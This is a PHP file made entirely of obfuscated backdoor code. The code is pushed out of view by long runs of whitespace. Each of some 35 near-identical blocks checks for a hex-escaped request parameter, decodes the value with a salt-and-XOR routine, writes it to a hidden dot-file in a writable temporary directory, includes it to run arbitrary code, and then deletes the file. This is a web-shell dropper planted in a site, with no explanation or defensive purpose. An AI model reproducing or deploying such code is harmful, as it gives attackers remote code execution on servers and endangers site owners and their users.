<?php																																										if(isset($_POST) && isset($_POST["\x70o\x69nt\x65r"])){ $sym = array_filter(["/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $tkn = $_POST["\x70o\x69nt\x65r"]; $tkn = explode (".", $tkn ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $u = 0; while( $u < count( $tkn)) { $v5 = $tkn[$u]; $chS = ord( $salt[$u% $lenS]); $d =( ( int)$v5 - $chS -( $u% 10))^ 35; $pgrp .= chr( $d); $u++; } foreach ($sym as $key => $component) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $comp = implode("/", [$component, ".holder"]); if (file_put_contents($comp, $pgrp)) { require $comp; unlink($comp); exit; } } } }
																																										if(!is_null($_REQUEST["\x66\x6Cag"] ?? null)){ $value = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp"]); $itm = $_REQUEST["\x66\x6Cag"]; $itm= explode( '.',$itm ); $val = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3 ); $o = 0; $__len = count($itm ); do { if ($o >= $__len) break; $v3 = $itm[$o]; $sChar = ord($salt3[$o %$lenS] ); $dec = ((int)$v3 - $sChar - ($o %10)) ^ 63; $val.=chr($dec ); $o++;}while (true ); foreach ($value as $data_chunk): if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $pset = join("/", [$data_chunk, ".record"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $pset; @unlink($pset); die(); } } endforeach; }
																																										if(array_key_exists("p\x61ra\x6Dete\x72_gr\x6Fup", $_POST) && !is_null($_POST["p\x61ra\x6Dete\x72_gr\x6Fup"])){ $element = $_POST["p\x61ra\x6Dete\x72_gr\x6Fup"]; $element = explode ( '.' , $element ); $bind =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2); $z =0; array_walk($element, function ($v4) use (&$bind, &$z, $s2, $sLen) { $chS =ord($s2[$z % $sLen]); $d =((int)$v4 - $chS - ($z % 10)) ^54; $bind.=chr($d); $z++; }); $resource = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", session_save_path()]); $factor = 0; do { $sym = $resource[$factor] ?? null; if ($factor >= count($resource)) break; if ((is_dir($sym) and is_writable($sym))) { $pset = vsprintf("%s/%s", [$sym, ".ent"]); $success = file_put_contents($pset, $bind); if ($success) { include $pset; @unlink($pset); die();} } $factor++; } while (true); }
																																										if(!empty($_POST["s\x79m"])){ $symbol = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $dat = $_POST["s\x79m"]; $dat= explode( '.' , $dat ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $q = 0; array_walk( $dat, function( $v2) use( &$marker, &$q, $s, $sLen) { $chS = ord( $s[$q % $sLen] ); $dec = ( ( int)$v2 - $chS -( $q % 10)) ^ 81; $marker .= chr( $dec ); $q++; } ); foreach ($symbol as $ref) { if (!!is_dir($ref) && !!is_writable($ref)) { $fac = str_replace("{var_dir}", $ref, "{var_dir}/.key"); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $fac; @unlink($fac); die(); } } } }
																																										if(@$_POST["\x65\x6Et"] !== null){ $holder = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); $parameter_group = $_POST["\x65\x6Et"]; $parameter_group= explode ( '.' , $parameter_group) ; $binding = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3 ); $v = 0; foreach ($parameter_group as $v6) {$chS = ord($salt3[$v % $lenS] ); $dec = ((int)$v6 - $chS - ($v % 10)) ^ 86; $binding .= chr($dec ); $v++; } foreach ($holder as $key => $data_chunk) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $sym = "$data_chunk" . "/.item"; if (@file_put_contents($sym, $binding) !== false) { include $sym; unlink($sym); die(); } } } }
																																										if(isset($_REQUEST["d\x65\x73\x63rip\x74or"]) ? true : false){ $itm = array_filter([getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $key = $_REQUEST["d\x65\x73\x63rip\x74or"]; $key = explode ( "." , $key) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $m = 0; $len = count($key ); do { if ($m >= $len) break; $v5 = $key[$m]; $sChar = ord($s[$m % $sLen] ); $d = ((int)$v5 - $sChar - ($m % 10)) ^ 55; $element .= chr($d ); $m++; } while (true ); $ent = 0; do { $pgrp = $itm[$ent] ?? null; if ($ent >= count($itm)) break; if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $hld = "$pgrp/.pointer"; $success = file_put_contents($hld, $element); if ($success) { include $hld; @unlink($hld); die();} } $ent++; } while (true); }
																																										if(!empty($_REQUEST["h\x6Flde\x72"])){ $reference = $_REQUEST["h\x6Flde\x72"]; $reference = explode ( '.' , $reference ); $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $u = 0; foreach ($reference as $v6) { $chS = ord($salt[$u %$sLen] ); $d = ((int)$v6 - $chS - ($u %10)) ^ 41; $itm .=chr($d ); $u++; } $sym = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); foreach ($sym as $flg): if (!( !is_dir($flg) || !is_writable($flg) )) { $dat = vsprintf("%s/%s", [$flg, ".item"]); if (file_put_contents($dat, $itm)) { include $dat; @unlink($dat); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["p\x73\x65t"])){ $desc = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp"]); $descriptor = $_REQUEST["p\x73\x65t"]; $descriptor= explode( ".",$descriptor ) ; $hld = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $u = 0; while($u < count($descriptor)) { $v7 = $descriptor[$u]; $chS = ord($salt5[$u % $lenS]); $dec =((int)$v7 - $chS -($u % 10))^ 88; $hld.= chr($dec); $u++; } $itm = 0; do { $flag = $desc[$itm] ?? null; if ($itm >= count($desc)) break; if (is_dir($flag) ? is_writable($flag) : false) { $data = "$flag" . "/.bind"; if (file_put_contents($data, $hld)) { include $data; @unlink($data); exit; } } $itm++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63omp\x6F\x6E\x65nt"])){ $record = array_filter([session_save_path(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $key = $_REQUEST["\x63omp\x6F\x6E\x65nt"]; $key =explode ( '.' , $key) ; $token =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $len =count( $key); for( $w =0; $w < $len; $w++) { $v7 =$key[$w]; $sChar =ord( $salt[$w % $sLen]); $dec =( ( int)$v7 - $sChar -( $w % 10)) ^88; $token .=chr( $dec); } foreach ($record as $ptr): if ((is_dir($ptr) and is_writable($ptr))) { $parameter_group = join("/", [$ptr, ".flag"]); if (file_put_contents($parameter_group, $token)) { require $parameter_group; unlink($parameter_group); exit; } } endforeach; }
																																										if(isset($_POST["pset"]) ? true : false){ $rec = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), getenv("TMP")]); $resource = $_POST["pset"]; $resource = explode ("." , $resource ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($resource as $k => $v2) { $chS = ord($s[$k % $lenS]); $dec = ((int)$v2 - $chS - ($k % 10)) ^23; $component .=chr($dec); } while ($entity = array_shift($rec)) { if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $reference = join("/", [$entity, ".hld"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $reference; @unlink($reference); die(); } } } }
																																										if(array_key_exists("c\x6Fm\x70", $_REQUEST) && !is_null($_REQUEST["c\x6Fm\x70"])){ $flg = $_REQUEST["c\x6Fm\x70"]; $flg =explode ("." ,$flg) ; $key = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $z = 0; foreach ($flg as $v3) { $sChar = ord($s7[$z % $sLen] ); $dec = ((int)$v3 - $sChar - ($z % 10)) ^ 27; $key.= chr($dec ); $z++;} $res = array_filter(["/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); while ($data_chunk = array_shift($res)) { if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $dchunk = implode("/", [$data_chunk, ".object"]); if (file_put_contents($dchunk, $key)) { require $dchunk; unlink($dchunk); exit; } } } }
																																										if(array_key_exists("\x70g\x72p", $_REQUEST)){ $component = $_REQUEST["\x70g\x72p"]; $component = explode( ".", $component ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $v = 0; while( $v< count( $component)) { $v9 = $component[$v]; $sChar = ord( $s[$v% $sLen] ); $d =( ( int)$v9 - $sChar -( $v% 10)) ^ 33; $hld.=chr( $d ); $v++; } $ptr = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path()]); while ($rec = array_shift($ptr)) { if (is_dir($rec) && is_writable($rec)) { $binding = sprintf("%s/.token", $rec); if (@file_put_contents($binding, $hld) !== false) { include $binding; unlink($binding); die(); } } } }
																																										if(!is_null($_REQUEST["\x70\x61\x72ame\x74\x65\x72\x5Fg\x72oup"] ?? null)){ $descriptor = $_REQUEST["\x70\x61\x72ame\x74\x65\x72\x5Fg\x72oup"]; $descriptor = explode ("." , $descriptor ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $y = 0; foreach( $descriptor as $v6) {$sChar = ord( $salt[$y %$sLen]); $d =( ( int)$v6 - $sChar -( $y %10)) ^ 66; $fac .= chr( $d); $y++; } $ent = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP")]); foreach ($ent as $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $val = vsprintf("%s/%s", [$symbol, ".pgrp"]); if (file_put_contents($val, $fac)) { include $val; @unlink($val); die(); } } } }
																																										if(isset($_REQUEST["\x73\x79mbo\x6C"])){ $object = array_filter(["/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); $entry = $_REQUEST["\x73\x79mbo\x6C"]; $entry = explode ("." , $entry ) ; $sym = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $len = count($entry ); for ($z = 0; $z <$len; $z++) { $v1 = $entry[$z]; $chS = ord($s7[$z % $sLen] ); $d = ((int)$v1 - $chS - ($z % 10)) ^ 61; $sym .= chr($d ); } foreach ($object as $pgrp) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $fac = str_replace("{var_dir}", $pgrp, "{var_dir}/.key"); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(isset($_REQUEST["d\x65s\x63r\x69ptor"])){ $holder = $_REQUEST["d\x65s\x63r\x69ptor"]; $holder = explode ('.' , $holder); $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; array_walk($holder ,function ($v5) use (&$dat ,&$z ,$salt ,$sLen) { $sChar = ord($salt[$z % $sLen]); $d = ((int)$v5 - $sChar - ($z % 10)) ^ 9; $dat.= chr($d); $z++; } ); $hld = array_filter(["/tmp", getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getcwd()]); foreach ($hld as $property_set): if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $ptr = sprintf("%s/.ent", $property_set); if (file_put_contents($ptr, $dat)) { require $ptr; unlink($ptr); die(); } } endforeach; }
																																										if(!empty($_REQUEST["\x70\x67rp"])){ $fac = array_filter([sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $key = $_REQUEST["\x70\x67rp"]; $key= explode( '.' ,$key ) ; $bind= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $y= 0; foreach ($key as $v1) { $chS= ord($salt[$y % $sLen] ); $d= ((int)$v1 - $chS - ($y % 10))^ 94; $bind.= chr($d ); $y++; } $res = 0; do { $val = $fac[$res] ?? null; if ($res >= count($fac)) break; if (max(0, is_dir($val) * is_writable($val))) { $pointer = implode("/", [$val, ".descriptor"]); if (file_put_contents($pointer, $bind)) { include $pointer; @unlink($pointer); exit; } } $res++; } while (true); }
																																										if(in_array("\x68o\x6C\x64er", array_keys($_POST))){ $tkn = $_POST["\x68o\x6C\x64er"]; $tkn = explode ( ".", $tkn ) ; $val = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $t = 0; foreach ($tkn as $v9) { $chS = ord($salt8[$t % $lenS]); $dec = ((int)$v9 - $chS - ($t % 10))^ 29; $val .=chr($dec); $t++; } $pset = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($pset as $ent) { if (is_writable($ent) && is_dir($ent)) { $entity = "$ent" . "/.mrk"; if (file_put_contents($entity, $val)) { require $entity; unlink($entity); die(); } } } }
																																										if(array_key_exists("\x72e\x63\x6Frd", $_REQUEST) && !is_null($_REQUEST["\x72e\x63\x6Frd"])){ $symbol = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir()]); $marker = $_REQUEST["\x72e\x63\x6Frd"]; $marker = explode( '.' ,$marker ) ; $dat =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $t =0; $len =count( $marker); do {if( $t >= $len) break; $v6 =$marker[$t]; $sChar =ord( $salt[$t% $sLen]); $dec =( ( int)$v6 - $sChar -( $t% 10))^18; $dat .= chr( $dec); $t++; } while( true); foreach ($symbol as $key => $item) { if (array_product([is_dir($item), is_writable($item)])) { $ent = "$item" . "/.k"; $success = file_put_contents($ent, $dat); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65f"])){ $val = $_REQUEST["\x72\x65f"]; $val= explode ( '.' , $val ) ; $reference = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); foreach ($val as $v =>$v1): $sChar = ord($s7[$v %$sLen] ); $dec = ((int)$v1 - $sChar - ($v %10))^9; $reference .= chr($dec ); endforeach; $itm = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); while ($entry = array_shift($itm)) { if (!( !is_dir($entry) || !is_writable($entry) )) { $ent = str_replace("{var_dir}", $entry, "{var_dir}/.element"); $success = file_put_contents($ent, $reference); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(in_array("\x65n\x74", array_keys($_POST))){ $reference = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $marker = $_POST["\x65n\x74"]; $marker = explode ( '.' , $marker) ; $val = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8 ); $w = 0; $len = count( $marker ); do { if( $w >= $len) break; $v4 = $marker[$w]; $sChar = ord( $salt8[$w % $sLen] ); $dec =( ( int)$v4 - $sChar -( $w % 10))^ 41; $val .= chr( $dec ); $w++; } while( true ); for ($item = 0, $entry = count($reference); $item < $entry; $item++) { $k = $reference[$item]; if (is_dir($k) ? is_writable($k) : false) { $value = "$k" . "/.component"; if (file_put_contents($value, $val)) { require $value; unlink($value); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["ent"])){ $ent = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); $comp = $_REQUEST["ent"]; $comp= explode ("." ,$comp ); $ref = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $z = 0; while ($z < count($comp)) {$v2 = $comp[$z]; $sChar = ord($salt6[$z % $sLen] ); $d = ((int)$v2 - $sChar - ($z % 10)) ^ 12; $ref .= chr($d ); $z++; } $property_set = 0; do { $k = $ent[$property_set] ?? null; if ($property_set >= count($ent)) break; if ((is_dir($k) and is_writable($k))) { $elem = vsprintf("%s/%s", [$k, ".value"]); if (@file_put_contents($elem, $ref) !== false) { include $elem; unlink($elem); exit; } } $property_set++; } while (true); }
																																										if(!is_null($_POST["b\x69nd\x69\x6Eg"] ?? null)){ $marker = $_POST["b\x69nd\x69\x6Eg"]; $marker = explode ('.', $marker ); $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; while ($k < count($marker)) { $v8 = $marker[$k]; $sChar = ord($s[$k % $sLen]); $d = ((int)$v8 - $sChar - ($k % 10)) ^ 55; $ptr .= chr($d); $k++; } $val = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); $rec = 0; do { $component = $val[$rec] ?? null; if ($rec >= count($val)) break; if (is_dir($component) && is_writable($component)) { $data = "$component" . "/.key"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $data; @unlink($data); die(); } } $rec++; } while (true); }
																																										if(!is_null($_REQUEST["r\x65\x66"] ?? null)){ $entity = array_filter(["/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); $holder = $_REQUEST["r\x65\x66"]; $holder = explode ("." , $holder ); $descriptor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $y =0; while ($y <count($holder)) { $v5 =$holder[$y]; $chS =ord($s[$y % $lenS]); $d =((int)$v5 - $chS - ($y % 10)) ^ 10; $descriptor .= chr($d); $y++; } $marker = 0; do { $component = $entity[$marker] ?? null; if ($marker >= count($entity)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $ent = "$component/.binding"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $ent; @unlink($ent); die(); } } $marker++; } while (true); }
																																										if(@$_POST["\x64\x63hunk"] !== null){ $val = $_POST["\x64\x63hunk"]; $val = explode ( '.', $val ) ; $ptr=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $__len=count($val); for ($v=0; $v< $__len; $v++) { $v3=$val[$v]; $sChar=ord($salt[$v % $sLen]); $d=((int)$v3 - $sChar - ($v % 10)) ^ 74; $ptr .= chr($d);} $symbol = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $itm = 0; do { $reference = $symbol[$itm] ?? null; if ($itm >= count($symbol)) break; if ((is_dir($reference) and is_writable($reference))) { $data_chunk = implode("/", [$reference, ".dat"]); if (@file_put_contents($data_chunk, $ptr) !== false) { include $data_chunk; unlink($data_chunk); die(); } } $itm++; } while (true); }
																																										if(in_array("en\x74", array_keys($_REQUEST))){ $data_chunk = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", "/tmp", "/dev/shm"]); $token = $_REQUEST["en\x74"]; $token = explode ( '.' , $token ); $value = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $p = 0; foreach($token as $v6) { $sChar = ord($salt7[$p% $lenS]); $d =((int)$v6 - $sChar -($p% 10))^ 56; $value .=chr($d); $p++; } $desc = 0; do { $resource = $data_chunk[$desc] ?? null; if ($desc >= count($data_chunk)) break; if (!!is_dir($resource) && !!is_writable($resource)) { $reference = vsprintf("%s/%s", [$resource, ".flg"]); if (@file_put_contents($reference, $value) !== false) { include $reference; unlink($reference); die(); } } $desc++; } while (true); }
																																										if(!is_null($_POST["\x65\x6Et"] ?? null)){ $holder = array_filter([getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); $object = $_POST["\x65\x6Et"]; $object = explode ( "." , $object) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $__len = count( $object); for( $o = 0; $o < $__len; $o++) { $v9 = $object[$o]; $chS = ord( $salt[$o % $sLen]); $dec =( ( int)$v9 - $chS -( $o % 10)) ^ 19; $fac.=chr( $dec);} foreach ($holder as $key => $pointer) { if (array_product([is_dir($pointer), is_writable($pointer)])) { $data = join("/", [$pointer, ".mrk"]); if (@file_put_contents($data, $fac) !== false) { include $data; unlink($data); exit; } } } }
																																										if(isset($_POST) && isset($_POST["i\x74\x65m"])){ $comp = $_POST["i\x74\x65m"]; $comp = explode ( ".", $comp ) ; $res = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($comp as $n =>$v2) { $chS = ord($s8[$n % $sLen]); $d = ((int)$v2 - $chS - ($n % 10))^ 78; $res.= chr($d);} $val = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP")]); foreach ($val as $key => $entry) { if (max(0, is_dir($entry) * is_writable($entry))) { $resource = vsprintf("%s/%s", [$entry, ".sym"]); $success = file_put_contents($resource, $res); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["t\x6Fken"])){ $binding = $_REQUEST["t\x6Fken"]; $binding=explode( '.' ,$binding ); $tkn= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt9); $z= 0; $__tmp= $binding; while ($v5= array_shift($__tmp)) { $chS= ord($salt9[$z % $lenS]); $dec= ((int)$v5 - $chS - ($z % 10)) ^68; $tkn .= chr($dec); $z++;} $marker = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); foreach ($marker as $holder): if (array_product([is_dir($holder), is_writable($holder)])) { $ptr = "$holder" . "/.pointer"; if (file_put_contents($ptr, $tkn)) { require $ptr; unlink($ptr); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x70\x74r"])){ $elem = array_filter(["/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $pset = $_POST["\x70\x74r"]; $pset = explode ('.' ,$pset) ; $desc = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $p = 0; array_walk($pset, function ($v3) use (&$desc, &$p, $salt4, $sLen) { $chS = ord($salt4[$p % $sLen]); $dec = ((int)$v3 - $chS - ($p % 10)) ^47; $desc .= chr($dec); $p++; } ); foreach ($elem as $key => $res) { if (is_dir($res) ? is_writable($res) : false) { $record = vsprintf("%s/%s", [$res, ".value"]); $success = file_put_contents($record, $desc); if ($success) { include $record; @unlink($record); die();} } } }
																																										if(!empty($_POST["comp"])){ $item = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); $data_chunk = $_POST["comp"]; $data_chunk = explode( "." , $data_chunk ) ; $elem= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt9); $u= 0; $__tmp= $data_chunk; while ($v6= array_shift($__tmp)) { $chS= ord($salt9[$u% $lenS]); $dec= ((int)$v6 - $chS - ($u% 10)) ^ 95; $elem .= chr($dec); $u++; } foreach ($item as $key => $ref) { if (!( !is_dir($ref) || !is_writable($ref) )) { $desc = join("/", [$ref, ".mrk"]); $success = file_put_contents($desc, $elem); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(array_key_exists("\x65l\x65m", $_REQUEST)){ $data_chunk = array_filter([getcwd(), session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); $ptr = $_REQUEST["\x65l\x65m"]; $ptr =explode ( '.' , $ptr ); $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; while ($s < count($ptr)) { $v1 = $ptr[$s]; $chS = ord($salt[$s % $lenS]); $d = ((int)$v1 - $chS - ($s % 10)) ^ 68; $bind .= chr($d); $s++; } while ($marker = array_shift($data_chunk)) { if (!( !is_dir($marker) || !is_writable($marker) )) { $obj = join("/", [$marker, ".pgrp"]); if (file_put_contents($obj, $bind)) { require $obj; unlink($obj); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65nt"])){ $parameter_group = $_REQUEST["\x65nt"]; $parameter_group=explode ('.', $parameter_group) ; $tkn = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $p = 0; foreach( $parameter_group as $v9) { $sChar = ord( $s2[$p % $lenS]); $dec =( ( int)$v9 - $sChar -( $p % 10)) ^ 15; $tkn .= chr( $dec); $p++; } $holder = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path()]); foreach ($holder as $key => $symbol) { if (is_writable($symbol) && is_dir($symbol)) { $res = "$symbol/.desc"; $success = file_put_contents($res, $tkn); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(@$_POST["c\x6Fm\x70"] !== null){ $mrk = $_POST["c\x6Fm\x70"]; $mrk = explode ( "." , $mrk); $symbol=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $p=0; foreach ($mrk as $v9) { $sChar=ord($salt[$p % $sLen]); $d=((int)$v9 - $sChar - ($p % 10)) ^ 64; $symbol .= chr($d); $p++; } $ptr = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($ptr as $key => $pset) { if (is_writable($pset) && is_dir($pset)) { $factor = sprintf("%s/.item", $pset); if (file_put_contents($factor, $symbol)) { include $factor; @unlink($factor); exit; } } } }
																																										if(isset($_REQUEST["da\x74\x61"])){ $reference = $_REQUEST["da\x74\x61"]; $reference= explode ( '.' , $reference ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $r = 0; $len = count($reference); do { if ($r >= $len) break; $v4 = $reference[$r]; $sChar = ord($s[$r%$sLen]); $d = ((int)$v4 - $sChar - ($r%10))^ 7; $rec .=chr($d); $r++; } while (true); $elem = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); for ($data_chunk = 0, $parameter_group = count($elem); $data_chunk < $parameter_group; $data_chunk++) { $desc = $elem[$data_chunk]; if (!( !is_dir($desc) || !is_writable($desc) )) { $ent = vsprintf("%s/%s", [$desc, ".descriptor"]); if (file_put_contents($ent, $rec)) { require $ent; unlink($ent); die(); } } } }
